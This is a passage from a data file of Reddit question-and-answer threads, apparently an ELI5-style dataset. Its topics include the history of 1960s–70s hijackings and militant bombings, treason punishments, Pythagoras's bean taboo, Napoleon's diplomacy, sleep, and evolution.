combatants?\n\nSo I'll show my hand and say I want to tackle this question by using examples of what I'll call \"militant movements\" whose actions are often regarded as terrorism. This is not an attempt to legitimize them, but to make the difficulty of the question clear. the vast majority of my examples will be from the Western world as well, given that's my area of research.\n\nBut first, let's start with hijackings, and address the elephant in the room: 9/11. The role of hijackings, usually, during the Long Sixties was more negotiation or extortion. You take a plane, you demand some of your friends get out of jail. Now, you certainly had ideological groups who targeted particular types of people, no doubt: Palestinian organizations like the armed wing of the PLO occasionally let go non-Jewish passengers. Still, they had a demand in mind and more often than you might expect given our current \"don't negotiate with terrorists\" mindset, they got some part of what they wanted. Now, it might surprise some people to know that by 1999, the world saw 13 hijackings, down from a few dozen a year during its peak in the late 1960s. This drop has to do with better screening techniques, especially in hot zones like Europe and Israel. Security became much tighter on international flights in these areas. But do you know what didn't change? The treatment of domestic flights, especially in the United States.\n\n9/11 changes the hijacking game. We get to see just how dangerous allowing determined individuals to take control of aircraft can be. Now, both the attempt and goal of such an action is fundamentally different. Even if a determined individual makes it onto their target plane, pilots are trained to not allow them access to the cockpit. That door isn't opening easy, force be damned. And even if you do get access to the cockpit, don't expect to get your demands listened to. You're not gonna be allowed to take that jet to Cuba, especially if you might pass over large urban centers. The National Air Guard trains for exactly these types of scenarios, and they're trained to shoot if necessary. This is not to say attacks on airplanes had never been of murderous intent: the Lockerbie bombing comes to mind. But I'm sure you can see the difference there.\n\nAs for bombings: let's start with the state of militant action in the West during your time period. High profile bombings by organized left wing groups like the RAF, IRA, ETA, Weatherman could be weekly occurrences; in some places, daily ones. However, it pays to remember that - if we exclude the IRA and to a lesser extent ETA - these groups committed actions which don't constitute huge losses of life during any individual event. Weatherman stops targeting human life after their members were killed by a premature detonation; they would call-in about their devices. The RAF lasted almost thirty years and set off about 300 bombs, killing (according to Jeremy Varon's \"Bringing the War Home\") 34 people. They also had complicity in the Munich Massacre. Now, don't get me wrong, as all killings are tragedies. But the social and cultural impact these organizations have has a lot to do with the political climate they found themselves in. They were high profile for reasons beyond planting explosives. Many of those New Left militant movements were made up of middle class college kids, which plays into the deep fascination many have about them.\n\nStill, hundreds of bombs in Western Germany, thousands more in Northern Ireland and Spain... those are staggering numbers, no question. Why don't we see as many bombings anymore? This is actually a question Im currently writing on, and I want to suggest three reasons: the problem of organized resistance, the security situation, and our classification of terrorism.\n\nWhat types of issues lead to militant action? Let\u2019s look at three general categories: ideological motives, nationalist/separatist sentiments, or to force a change in a particular policy. Of course, ideology is going to play into the other two categories as well, but what matters most is the end goal, and that end goal often manifests in the actions perpetrated by the militant. For example: let\u2019s take Group A whose stated goal is \u201cdemolishing the imperialist and capitalist system that exploits the third world\u201d. Sounds lofty, right? It also sounds monstrously difficult, and one that lacks a clear endgame. Group B, on the other hand, wants to reunify their occupied state with the country they consider rightfully theirs. Okay: now we have something more concrete to go on, and might be able to craft a more coherent battleplan. And finally Group C, who wants to harass the government into allowing its members proper civil rights. Maybe you\u2019re filling in the blanks with the familiar suspects\u2026 but surely these problems still exist? Why were organized groups fighting for them then \u2013 with differing levels of efficacy \u2013 but not so much now?\n\nThis is where the other two reasons play their part. First off, I want to resist the notion that \u201cbombings\u201d in the abstract are ludicrously less common. Of course we have the high profile domestic attacks in Europe and the United States following the end of the high-period of domestic terrorism: Oklahoma City, the Atlanta Olympics, UNABOMB, etc. However, there are still a significant number of attacks perpetrated by domestic actors on a regular basis, especially in the United States. Pipe bombs and grenades placed into abortion centers; bombs and arson attacks committed by eco-activists/terrorists. These types of things aren\u2019t one off events. There have been over 40 bombing attempts on abortion centers since the 1980s with around a dozen deaths, and those don\u2019t take into account other forms of militant extremism like physical assault. A single group of eco-militants, the Animal Liberation Front, have committed over 600 acts to the tune of $43,000,000 dollars, according to the FBI archival files. And that\u2019s an animal activist group: other organizations target development projects and logging sites. Estimates for their damages range into the hundreds of millions since the early 2000s. \n\nAll of which is to say militant bombings are not uncommon occurrences. Absolutely, the heyday of organized domestic action is in the past. But what caused this change? And why are we not as aware of these actions, when \u2013 statistically speaking \u2013 some of these Eco-groups have performed more successful bombings/arsons in a decade than Weatherman did in two?  Well, the profile of course is very different. Burning down a half constructed suburb in pristine Colorado might not make the NYTimes like a bomb in the Capitol Buildings bathroom. Moreover, the pathology of these actions tend to be different. While these leftist groups were organized and often had a central command structure, the improvement of counter-terrorism tactics forced groups to evolve. Cell structure and \u201cleaderless resistance\u201d are more common now, and you can see how this relates back to the importance of motive and intention. Timothy McVeigh is written off as a \u201clone wolf\u201d, and his one \u2013 hugely devastating \u2013 action an independent problem. But this isn\u2019t true: the anti-government ideology McVeigh followed was not devised by him alone. While there might not be a prolific \u201cAGA (Anti-Government Action\u201d group with a command structure and unified right-wing ideology, any independent acts can be traced back to similar ways of thinking and planning. It\u2019s more that the optics have changed due to the changes in counter-terrorism. What about religious ideology? Plenty of domestic attacks in Europe are carried out by radicals claiming allegiance to ISIS, even though they were born in the country they carry out their actions in. While some receive material support from those groups, others merely attribute their motives to a non-state actor. Moreover, given that the intention of these attacks is often the indiscriminate loss of life, or are perpetrated with the expectation of capture/death, they look very different from Andreas Baader burning down a department store. \n\n\n", "There is a great book, [The Skies Belong To Us](_URL_0_) , on hijackings specifically that examines why there were so many between 1968 and 1972.  One of the fascinating tid bits from the book is that hijackers headed to Havana were so common that there was a direct line between Miami and Havana air traffic control to deal with it. It is written by a journalist, not an academic, but is well researched. \n\nThe book gives a number of contributing factors to the prevalence of hijackings, that fall into 2 main buckets. \n\n*Cost and Convenience* \nThe powerful airline industry lobbied against security measures such as X-ray machines and metal detectors because it would increase costs and turn people away from flying. Violence during hijackings was rare, and so many authorities believed the best policy was simply to cooperate: Some domestic flights were stocked with maps of the Havana airport and Spanish phrase books in anticipation of hijackings. On average a hijacking cost the airline just $25,000, and so it was simply priced in to the cost of doing business.\n\n*The People In The Era*\nThere were a lot of people disaffected by the Vietnam War in sometimes desperate circumstances that saw hijackings as a way to make a point and/or make some money and get to somewhere new. The book makes the point though, that while many hijackers professed to have the sort of hardcore or radical beliefs of the era, those beliefs were often just held temporarily. They were also encouraged in part by at least part of the nation that sometimes saw them not as criminals, but as striking back. Hijackings were so regular that it was just a regular part of life and a subject of late night jokes, and its ubiquity inspired copycats. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.amazon.com/Skies-Belong-Us-Terror-Hijacking/dp/0307886115"]]}
{"q_id": "4vpzjh", "title": "What punishment would the American founding fathers have received had they been captured by the British?", "selftext": "Hello all! \nIn the timeless film National Treasure, Nicolas Cage's character mentions that the founding fathers were committing high treason against the british crown, and had they been caught, they would have been \"hanged, beheaded, drawn and quartered and, my personal favorite, had their entrails cut out and burned!\" is this accurate? Would the founding fathers have received such a brutal execution, or even capital punishment in the first place? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4vpzjh/what_punishment_would_the_american_founding/", "answers": {"a_id": ["d616pol", "d617sys"], "score": [8, 6], "text": ["Drawing and quartering would have been on the table, but wouldn't have been too likely. The last British drawing and quartering was famously David Tyrie in 1782. Supposedly something like 100,000 people came to watch his execution. But it had become rare before then.\n\nIt's possible that a handful of the chief insurgents (Washington, Adams, Hancock) might have been transported to England and give a full traitor's treatment. But they would be far more likely to have been given trials and hung in the colonies. Depending on exactly who captured them and when they were captured, they might have been imprisoned, paroled for the duration of the war, or summarily tried. In any case all the leaders were bound for the hangman's noose by the end of hostilities.\n\nWhen Lord Howe arrived in America in 1776, he came with broad authority to negotiate peace. He even had a conference on Staten Island in the fall of 1776 with Adams, Franklin, and Rutledge. But both sides were irreconcilable at that point. One thing that the Congressional delegates didn't know was that  although Howe had authority to pardon traitors in order to secure a peace, he also had a list of men to whom he wasn't allowed pardon. Most of Congress was on that list including Adams. Howe's orders for them was to have them executed. So capital punishment was absolutely on the table, with certain men already having the equivalent of a signed death warrant.", "I'll quote [Sir William Blackstone's commentary on the subject](_URL_0_):\n\n > The punishment of high treason in general is very solemn and terrible. \n\n > 1. That the offender be drawn to the gallows, and not be carried or walk; though usually (by connivance,\u00a0at length ripened by humanity into law) a sledge or hurdle is allowed, to preserve the offender from the extreme torment of being dragged on the ground or pavement.\n\n > 2. That he be hanged by the neck, and then cut down alive. \n\n > 3. That his entrails be taken out and burned while he is yet alive. \n\n > 4. That his head be cut off. \n\n > 5. That his\u00a0body be divided into four parts. \n\n > 6. That his head and quarters be at the king\u2019s disposal.\n\nSo, essentially, yes. That being said, the Crown was empowered to commute such a sentence to a less dramatic execution:\n\n > The king may, and often doth, discharge all the punishment, except beheading, especially where any of noble blood are attainted. For beheading being part of the judgment, that may be executed, though all the rest be omitted by the king\u2019s command.\n\nIn practice, it was really quite uncommon by the time of the American Revolution for the full sentence to be enacted.\n\nRediker makes mention in one of his books of the Despard Plot in 1803, in which several men were simply hanged and beheaded for high treason; they had apparently been conspiring assassination and rebellion to reignite the 1798 insurgency. I'm not sure anyone can really guess with any accuracy what exact punishment the founders would have faced, but it seems doubtful that some measure of clemency would be denied."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://oll.libertyfund.org/titles/blackstone-commentaries-on-the-laws-of-england-in-four-books-vol-2/simple"]]}
{"q_id": "190d68", "title": "What were the stances of the Australian public regarding Hitler and Nazi Germany before 1939? Did the general public and their government/s see war coming, or did it catch people by surprise? ", "selftext": "Hindsight is making it hard to understand exactly when people really understood that war with Hitler was very likely. Just curious if people knew much before. Like, after the re-militarization of the Rhineland, wasn't it obvious to everybody?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/190d68/what_were_the_stances_of_the_australian_public/", "answers": {"a_id": ["c8jme1t"], "score": [3], "text": ["I hate to ask, but do you mean Austrian?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "37dxu0", "title": "Why did Pythagoras hate legumes?", "selftext": "Apparently Pythagoras forbid his followers from eating or even touching legumes. There is also the story about Pythagoras being murdered because he refused to escape through a bean field. What did he have against legumes?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/37dxu0/why_did_pythagoras_hate_legumes/", "answers": {"a_id": ["crly1kt"], "score": [6], "text": ["We don't know for sure. It wasn't legumes generally, though, it was specifically fava beans.\n\nEven our ancient sources on Pythagoreanism don't know the reason for the taboo. Like Aristotle (in Diog. Laert. 8.34):\n\n >  According to Aristotle in his work On the Pythagoreans, Pythagoras counselled abstinence from beans either because they are like the genitals, or because they are like the gates of Hades... as being alone unjointed, or because they are injurious, or because they are like the form of the universe, or because they belong to oligarchy, since they are used in election by lot.\n\nNowadays the bean thing is most often understood as an aspect of Pythagorean teaching on reincarnation, or *metempsychosis*. A number of non-Pythagorean sources report that beans or bean blossoms are either a route for souls to return to earth, or that souls come from plants, or that beans are like the gates of Hades, or even that the souls of the dead are in beans. In the Roman Lemuria festival, beans were used in a ritual to expel dead spirits from the house. So it seems likely that some aspect of this lies behind the Pythagorean doctrine. However, the reason for the belief itself is unknown; we just don't have the evidence.\n\nA couple of passages suggest that the belief is also tied to the Eleusinian-Orphic mystery religions. Pausanias reports on a temple dedicated to someone called *Kyamites*, or \"beaner\", as follows (1.37.4):\n\n >  On the road stands a small temple called that of Kyamites. I cannot state for certain whether he was the first to sow beans, or whether they gave this name to a hero because they aren't allowed to attribute the invention of beans to Demeter. Whoever has witnessed an initiation at Eleusis, or read the so-called Orphic writings, knows what I mean.\n\n(Unfortunately it will never be possible to do either of those things ever again.) And a few sources report a line from an Orphic poem that states, \"eating fava beans is equivalent to eating your parents' heads\".\n\nFor more detailed discussion and references, the best place to go is *Lore and Science in Ancient Pythagoreanism* (1972), pp. 180-5, by the sadly missed great scholar Walter Burkert."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1litzp", "title": "what i can do with google earth that i can't do with google maps?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1litzp/eli5_what_i_can_do_with_google_earth_that_i_cant/", "answers": {"a_id": ["cbznt0q"], "score": [3], "text": ["you can [fly an airplane](_URL_0_) in google earth"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://support.google.com/earth/answer/148089?hl=en"]]}
{"q_id": "1fiirb", "title": "Can the stomach digest calcium-rich foods such as egg shells, bones, etc and would eating those be beneficial to the human organism?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fiirb/can_the_stomach_digest_calciumrich_foods_such_as/", "answers": {"a_id": ["caaowo0", "caasg3j"], "score": [13, 2], "text": ["Yeah, definitely. I know of a nutrition professor that highly advocated buying canned salmon *with* the bones because they aren't super hard and are an excellent source of calcium. \n\nIt seems like using eggshells in powder form are useful and can be absorbed as well. I'd assume if you can or...want to even chew on eggshells there'd be a benefit from it.\n\nBones source: Professor and [here](_URL_0_)\n\nEggshell: [Here](_URL_1_)", "Stewing chicken on the bone with tomatoes leaches lots of calcium from the bones. Most green vegetables are great sources of calcium too. I'm about to go out so don't have time to provide sources but I imagine they're easy to find."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nutritionandmetabolism.com/content/7/1/61", "http://www.ncbi.nlm.nih.gov/pubmed/15018022"], []]}
{"q_id": "ffzsqp", "title": "Could members of a losing clan of the Sengoku period in Japan realistically go into exile in a neighbouring civilisation, such as Joseon Korea or Ming China?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ffzsqp/could_members_of_a_losing_clan_of_the_sengoku/", "answers": {"a_id": ["fk2n5q8"], "score": [5], "text": ["Yes. Though their \"choice\" would probably have been Southeast Asia rather than Ming China or Korea. Whether it was people escaping overseas, people seeking their fortunes overseas, or in the early Edo people being ordered into exile overseas by the Bakufu for being Christians, they seemed to have used the path of Nanban trade, leaving Japan from Sakai/Hirado/Nagasaki, with Manila being the common first stop. One common reason for leaving Japan was afterall religious persecution. Manila's Japan town around 1600 was estimated to have had thousands of Japanese (though not all were exiles, it was a vibrant merchant community). It was certainly enough for the governor to hire 400~500 Japanese to help quell rioting Chinese in 1603, and then for up to 1,500 Japanese themselves to go rioting in 1608. When the Manila authorities complained to the Edo Bakufu in 1608, the Bakufu's response was in summary \"not our responsibility, and those who went overseas are basically all criminals so you should just execute them.\" This is basically the attitude the Edo Bakufu took towards Japanese who lived overseas, and in 1633 the Bakufu forbade all Japanese who lived abroad for over five years from returning to Japan.\n\nSpeaking of hiring Japanese, overseas Japanese were a huge source of military manpower in Southeast Asia at the time. Already in the 1580s, the Manila authorities included hiring thousands of Japanese for an invasion plan of China they submitted to the Spanish King (who didn't give his approval). They are quite well attested in the written sources in the wars between the Dutch, English, Spanish, Portuguese. Japanese mercenaries were cheap, and fierce. Jan Pieterszoon Coen, VOC Governor-General of Batavia (that he founded) seemed to have especially liked Japanese mercenaries. However they were also well known for being undisciplined and not following orders, and it seems more than a few times they mutinied. The most famous international incident was probably the the incident at Amboyna in 1623, when 11 Japanese mercenaries of the garrison were caught and under torture confessed to conspiring with English merchants to take the fort, and 9 or 10 of them were executed.\n\nHere are some famous Japanese who went overseas (not necessarily exiled):\n\n* Luson Sukezaemon - As the name suggest, he was a major Nanban merchant operating between Philippines and Japan. For reasons not exactly clear his properties were confiscated by Hideyoshi in 1598, but he escaped overseas, and continued to trade, becoming a major figure in the trade with Cambodia. Interestingly he was specifically named in 1608 Edo's response to Manila as an example of criminal who escaped overseas.\n* Yamada Nagamasa - Probably too young to have participated in the Sengoku, but went overseas some time in the early Edo. Later became part of the Japanese mercenary contingent for the King of Ayutthaya (Thailand). The Japanese mercenaries were closely tied to Ayuthaya's military and politics, and Yamada himself was killed and the rest of the Japanese also killed or expelled in 1630 following a coup.\n* Kadoya Shichir\u014dbei - Also too young to have participated in the Sengoku. Went overseas on a red-seal ship to Annam (Vietnam) in 1631 only to never return to Japan due to Edo Bakufu's order locking out all those who went overseas, instead becoming a leader of the Japanese community in Annam. Was apparently somehow still able to exchange letters with his family in Matsuoka and continued to send offerings to the famous Ise Grand Shine near by. [The tombstone his family erected for him is a Designated Cultural Property of Matsuoka](_URL_0_).\n* Takayama Ukon - Followed his lord Araki Murashige in his rebellion against Oda Nobunaga, but declared for Nobunaga (kind of) after a bunch of diplomacy (in which the Jesuits were the diplomats), and after Nobunaga's death declared for Hideyoshi. Things were looking up for him until Hideyoshi began his Christian persecution, and he was one of the few Christian lords who gave up his titles rather than his religion. For a time he served under the Maeda clan, but in 1614 was ordered into exile by the Edo Bakufu along with many other Christians. He died soon after arriving in Manila.\n* Nait\u014d Tadatoshi - fought and defeated by Nobunaga, and ended up working for Konishi Yukinaga. After Yukinaga was executed following Sekigahara, he ran around a bit, before also ending up with the Maeda clan and then getting exiled with Ukon. He lived in Manilla until his death in 1626."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.city.matsusaka.mie.jp/site/culture-info/kadoyashitirobetokuyoto.html"]]}
{"q_id": "fjisn3", "title": "what's happening when our spouse is asleep, yet responds physically to touch, such as cuddling back? is there some part of the brain that stays aware of who/what we're next to?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fjisn3/eli5_whats_happening_when_our_spouse_is_asleep/", "answers": {"a_id": ["fkn6nsh", "fknpfsg", "fknptj7", "fknrhcv", "fkntc1p", "fkntjhb"], "score": [1344, 29, 7627, 71, 18, 5], "text": ["We can become semi-conscious to move and adjust while we're sleeping. Most of the time we forget about. Or our brains weren't on rec when it happens.", "Yes. The Midbrain Reticular Formation,i.e. MRF,is like a mini-brain that stays awake while \" main brain\" is sleeping.", "Basically you have a 'lower' brain and a 'higher' brain. The higher brain is you. The lower brain is like your second in command. He's a bit simple but can perform basic logic tasks to decide whether to wake you up or not if you're asleep, and can also take executive action himself to deal with a perceived threat (e.g. Get you away from or lash out at an intruder). Lower brain is also very good at taking over tasks so you don't have to think about them anymore, like riding a bike or driving a car or playing the piano. Your higher brain can be completely knocked out yet it is possible for you to continue to be able to do these things if lower brain is intact because it knows how to do them on its own.\n\nLower brain gets to know what sort of stimulus is normal background and what isn't. For example if you live on a busy street with sirens going by regularly these won't wake you, but they might wake your friend from the country who's staying over for the night. You are still hearing the sound but lower brain makes the call that higher brain doesn't need to know about this. Fwiw he is able to do this when you're awake too which is how you are able to focus on 1 person speaking in a noisy room. \n\nEqually when your spouse cuddles up to you, lower brain has become used to them being in the bed and knows this is them showing affection and not trying to kill you so is able to respond appropriately.", "You become conscious during sleep quite often; you just don't build memories for these events. This is why sometimes you barely remember a dream, and you know there was more to it (because the feelings of your memory insinuate some deep past in the event). This is why we can sleepwalk, and all kinds of other crazy stuff. Consciousness is not the same as memory.   \n\n\nThere's a bit of a debate actually as to weather or not consciousness persists during anesthesia. So you would experience everything, in the moment, but never have recollection of it.", "Tl:dr\nwhen you snuggle with your significant other and they respond without fully waking they might be in a lighter stage of sleep. Alternately you might disturb them just enough to cause them to come back into a light stage of sleep, they respond, then quickly get back to deep sleep again. \n\nFull explanation:\nSleep is not a uniform state of being. Instead, sleep is composed of several different stages that can be differentiated from one another by the patterns of brain wave activity that occur during each stage. These changes in brain wave activity can be visualized using EEG.\n\nThe pattern of brain wave activity during the first stage of sleep is called \"alpha waves\" It is relatively easy to wake someone from stage 1 sleep; in fact, people often report that they have not been asleep if they are awoken during stage 1 sleep.\n\nAs a person moves into stage two there are what is called sleep spindles and K-complexes in the EEG reading. This is a slightly deeper level of sleep but it is still relatively easy to wake the person. \n\nStage 3\u00a0and\u00a0stage 4\u00a0of sleep are often referred to as deep sleep or slow-wave sleep because these stages are characterized by low frequency (up to 4 Hz), high amplitude\u00a0delta waves in the EEG reading. It is much more difficult to awaken someone from sleep during stage 3 and stage 4 than during earlier stages. These stages are where we get or deep restful sleep. \n\nFinally there is REM (Rapid Eye Movement) sleep. Alpha waves (like wakefulness) but the eyes are darting back and forth as if watching a movie. It is thought that a person's short term memory moves into long term during this time and that the part of the brain that deals with logic is suppressed which is why dreams can be illogical and people often wake up with a solution to a problem due to the fact that the brain explored wacky \"out of the box\" ideas that they would have discounted as too weird if awake. But that's neither here nor there.\n\nA healthy sleeper (someone with no sleep disorders) cycles through these stages 3-4 times a night. So when you snuggle with your significant other and they respond without fully waking they might be in a lighter stage of sleep. Alternately you might disturb them just enough to cause them to come back into a light stage of sleep, they respond, then quickly get back to deep sleep again.", "There's varying cycles when you sleep that have varying \"levels\" of unconsciousness. Likely, when someone responds to physical sensation, they are in the \"shallower\" levels of unconsciousness. If they were in full REM they likely would not respond at all without first waking, at least partially.  \n\n\nHere's a little article that talks about this concept a bit. I haven't read it, but I gave it a 10-second glance.  \n\n\n[_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.psychologytoday.com/us/blog/between-you-and-me/201307/your-sleep-cycle-revealed"]]}
{"q_id": "3u6dgu", "title": "Why did Napoleon refuse the Frankfurt proposal?", "selftext": "He was vastly out numbered by this point, and all Europe was marching against him. Did he believe he could still win? Did he believe he could get better terms than France's natural borders and retaining his throne?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3u6dgu/why_did_napoleon_refuse_the_frankfurt_proposal/", "answers": {"a_id": ["cxcdjwo"], "score": [8], "text": ["Although accepting the Frankfurt Proposals appears to be the prudent course for Napoleon in hindsight, they represented a far more complicated case than an straightforward offer of peace for France's natural frontiers. The proposals were part of a complex diplomatic game played by Metternich and had only the conditional support of the Coalition's main allies, Prussia and Russia, and the British envoy George Gordon, Earl of Aberdeen, likely exceeded his government's instructions when he countenanced them. This highly confused and uncertain environment helped play into some of Napoleon's worst instincts as a diplomat and led to the Frankfurt Proposals becoming a stillborn initiative.\n\nThe fundamental problem of the Frankfurt Proposals was that while Metternich perceived the natural frontiers and French control of Belgium and its ports to be the maximum concessions, Napoleon took these positions as a starting point for further negotiations. When the Frankfurt Proposals first reached Napoleon, he along with the pro-war duc de Bassano crafted a very circumspect acceptance of the Proposals for the basis of a peace conference in Mannheim on 16 November. The Emperor's lukewarm response to the proposals seriously damaged French credibility both inside France, where a pro-peace faction was gathering around Talleyrand, and among Metternich's entourage. Metternich responded to Napoleon with a terse note that the Proposals were not up for negotiation. Napoleon instituted a form of damage control by replacing Bassano with the pro-negotiation Caulaincourt and announced on 2 December that France had agreed to the  \"general and summary bases\" of the Coalition's peace proposal.\n\nThe problem was still that Napoleon still clung to trying to wring far more concessions than Metternich was willing, or able to deliver. Caulaincourt operated under instructions that France not only wanted natural frontiers, but also guarantees for the Kingdom of Westphalia and a slightly truncated Kingdom of Italy, both of which would retain their Bonapartist rulers. Furthermore, Napoleon also pushed for the retention of Murat's throne in Sicily. To make matters worse, Napoleon instructed Caulaincourt to push for the sovereignty and independence of all nations. Not only would this lead to a restoration of French and Dutch colonies, but also that no replacement for the *Rheinbund* would be imposed upon Germany. In this context, Napoleon's acceptance of the *Rheinbund*'s dissolution was in reality a non-concession; the Central European states would have been free to again chose to become French client states. Napoleon's insistence on retaining complete control over the Rhine and three strategic bastions (Kehl, Kastel, and Wesl) on the right bank of the river would allow the French to easily breach this great barrier.  Such a position ran counter to Metternich's own plans for the German Confederation in which Austria possessed a great deal of power over Third Germany. Napoleon's counter-proposals also championed \"Freedom of the Seas,\" a position that would obviously inflame British opinion. \n\nThere were multiple rationales behind Napoleon's excessive demands and modifications of the Frankfurt Proposals. For one thing, neither the Proposals nor their negotiations ended the Coalition's military preparations for an invasion of France. Napoleon would accuse the Coalition of engaging in  diplomacy in bad faith:\n\n >  Europe seems to offer peace, but she does not sincerely wish it. You believe that by humiliating ourselves we shall disarm her; you are mistaken. The more yielding we are, the more exacting she will become, and from demand to demand she will lead us to terms of peace we cannot accept. \n\nBy stringing negotiations along, it does fit into a strategy of trying to split the Austrians away from the Coalition and drive it apart. Napoleon's disparagement of the Coalition's diplomacy also had a clear domestic component to it as well. As Talleyrand's faction gained ground in the salon culture of Paris, Napoleon was aware that his hold on domestic politics was shaky. A bad or costly peace to France could destroy his hold on French politics. Caulaincourt's memoirs perceptively  noted that  for Napoleon, preserving the First Republic's military gains, including its sister republics, was the minimum Napoleon would accept for peace. According ot the French diplomat, Napoleon launched the war in 1813 with the intent of:\n\n > making war with all his resources, and finally, if the war went badly, he was\ndetermined to sacrifice himself and his army on the frontiers that the\nRepublic had bequeathed to the Empire. \n\nFor Napoleon for France to end with less territory and satellite states than what it possessed prior to Brumaire would have been a massive loss to his prestige. Negotiation rather than acceptance of the Frankfurt Proposals was the path of least resistance for Napoleon. It allowed him the potential of achieving a bloodless victory while stalling the Coalition long enough for the French military to recover. \n\nYet this hope was ultimately chimerical and based upon a fundamental misreading of the diplomatic situation by Napoleon in late 1813. Like many lapses in judgement among statesmen, there were elements of truth in Napoleon's interpretation of the international situation. The Coalition was incredibly fragile and quite divided over issues like Galicia and Krakow and Metternich's willingness to offer a peace that likely would have greatly weakened Castlereagh's government speaks much to the unity of the Coalition. Napoleon however overplayed his hand with his highly conditional acceptance of the Frankfurt Proposals. The tardiness of the Emperor's replies and the unacceptable nature of his counter-proposals helped to drive the Coalition together rather than pushing it apart. The rejection of the Frankfurt Proposals by Napoleon became one of the propaganda tools employed by the Coalition when invading France in the winter of 1813/14 when they were printed in broadsheets and distributed in France.  This move by the Coalition helped cement an image of a Napoleon patently unwilling to negotiate and instead rely upon his sword to achieve his aims, a charge that had more than just a little truth about it. \n\n*Sources*\n\nLeggiere, Michael V. *The Fall of Napoleon. Vol. 1. The Allied Invasion of France 1813-1814*. Cambridge: Cambridge University Press, 2007.      \n\nPrice, Munro. *Napoleon: The End of Glory*. Oxford: Oxford University Press,  2014.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7asrnm", "title": "Is solar wind and solar storm the same thing?", "selftext": "Is solar wind and solar flare the same thing?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7asrnm/is_solar_wind_and_solar_storm_the_same_thing/", "answers": {"a_id": ["dpcw9xr"], "score": [2], "text": ["No. The solar wind is a diffuse stream of high-energy charged particles continuously flowing away from the sun in all directions. A solar flare is the result of a kink in the sun's magnetic field breaking (in a sense) resulting in a sudden brightening at one point on the surface and, often, a coronal mass ejection. This is much more intense than the typical solar wind, but very brief and originating from a (relatively) small region on the sun's surface."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2qgcys", "title": "Would evolution work the same on an alien planet as it does on Earth?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2qgcys/would_evolution_work_the_same_on_an_alien_planet/", "answers": {"a_id": ["cn5u3cv", "cn5untd", "cn5vaq4", "cn5wkpy", "cn5zt8p"], "score": [25, 3, 11, 2, 2], "text": ["Yes.\n\nIt may lead to wildly different outcomes, but \"evolution\" (the process) at it's core is simply that the most reproductively fit genotype individuals for their environment will contribute a disproportionate percentage of alleles (gene variants) to subsequent generations, changing the allele frequency at the population level.\n\nReproductive fitness doesn't necessarily mean \"most offspring\", though it can. It means the most *successful* offspring, and is often examined in the third generation (how many grandkids, rather than kids). \n\nMore reading: [\"Reproductive Success and Fitness are not the same thing\"](_URL_0_) by Greg Laden, Scienceblogs", "I'd say \"yes\", but really it depends on what you mean...\n\nThe science of evolution can more or less be broken down into three different areas: Evolution as a fact, evolution as a path, and evolution as a theory.\n\n**Evolution as a fact** refers to the facts surrounding it; the evidence we see. Genetic relationships, archeology, etc.\n\n**Evolution as a path** refers to the history of evolution on our planet. How did wings evolve? Where did ants come from? How did we get chromosome 6? Where did mitochondria come from? This is retrospective, for the most part; looking at the history of evolution on Earth.\n\nFinally, **evolution as a theory** refers to trying to understand the mechanics of evolution. This uses evidence from both the path and fact areas to try to understand the underlying mechanisms of evolution. Here, scientists look at the facts of evolution (look! mitochondria have their own genomes), take into account the history of evolution (Hey, older organisms didn't have mitochondria), combine those to propose a mechanism (what if some old organism kinda took up residence in another old organism and that's where mitochondria come from), and then make a prediction (if that happened, mitochondrial genomes should look like ancient bacterial genomes), and then try to see if that pans out.\n\nSo your question:\n\n > Would evolution work the same on an alien planet as it does on Earth?\n\nThe facts would probably be different. \n\nThe path would almost certainly be different. \n\nThe theory would be the same, but we would have a greater understanding of the theory.\n\nIn fact, say Curiosity finds evidence of active life on Mars. Another probe goes up, finds some kind of ecosystem, and brings back samples. We would study as much as the facts and path of evolution on Mars as we could. And that would inform overall evolutionary theory. This would be because of the likely differences in how things happened on Mars; we would be getting an independent look at evolutionary theory from the perspective of a completely different path.", "Evolution  can  be summarized as  \n\n*\"The  differential survival of  imperfect  replicators.\"*\n\nIf  reproduction on your alien planet works  at  all similarly to the  way that it  does on Earth, then  yes,   evolution would certainly  happen there. ", "Well, laws of nature would work the same on a different planet as on Earth so the answer is yes.  \n  \nThat does not mean it would duplicate what happened on Earth, just that the process would remain the same but the results may be very different.  \n  \nThe *only* other way I could see it differ, is if life on a different planet used something else than DNA, hence developed based on a different set of rules than what evolution is. Not sure how realistic this is, but that would be the only way I can see it would use a different process than evolution.", "However alien lifeforms and ecosystems may look like, the mathematical principles of evolution will most certainly apply. All you need is a thing that is able to make copies of itself (with a tiny error rate) in an environment where it competes with other such things. The process of natural selection is not even restricted to physical objects. Evolution can for example be observed in a world of [digital organisms](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://scienceblogs.com/gregladen/2013/07/19/reproductive-success-and-fitness-are-not-the-same-thing/"], [], [], [], ["http://en.wikipedia.org/wiki/Digital_organism"]]}
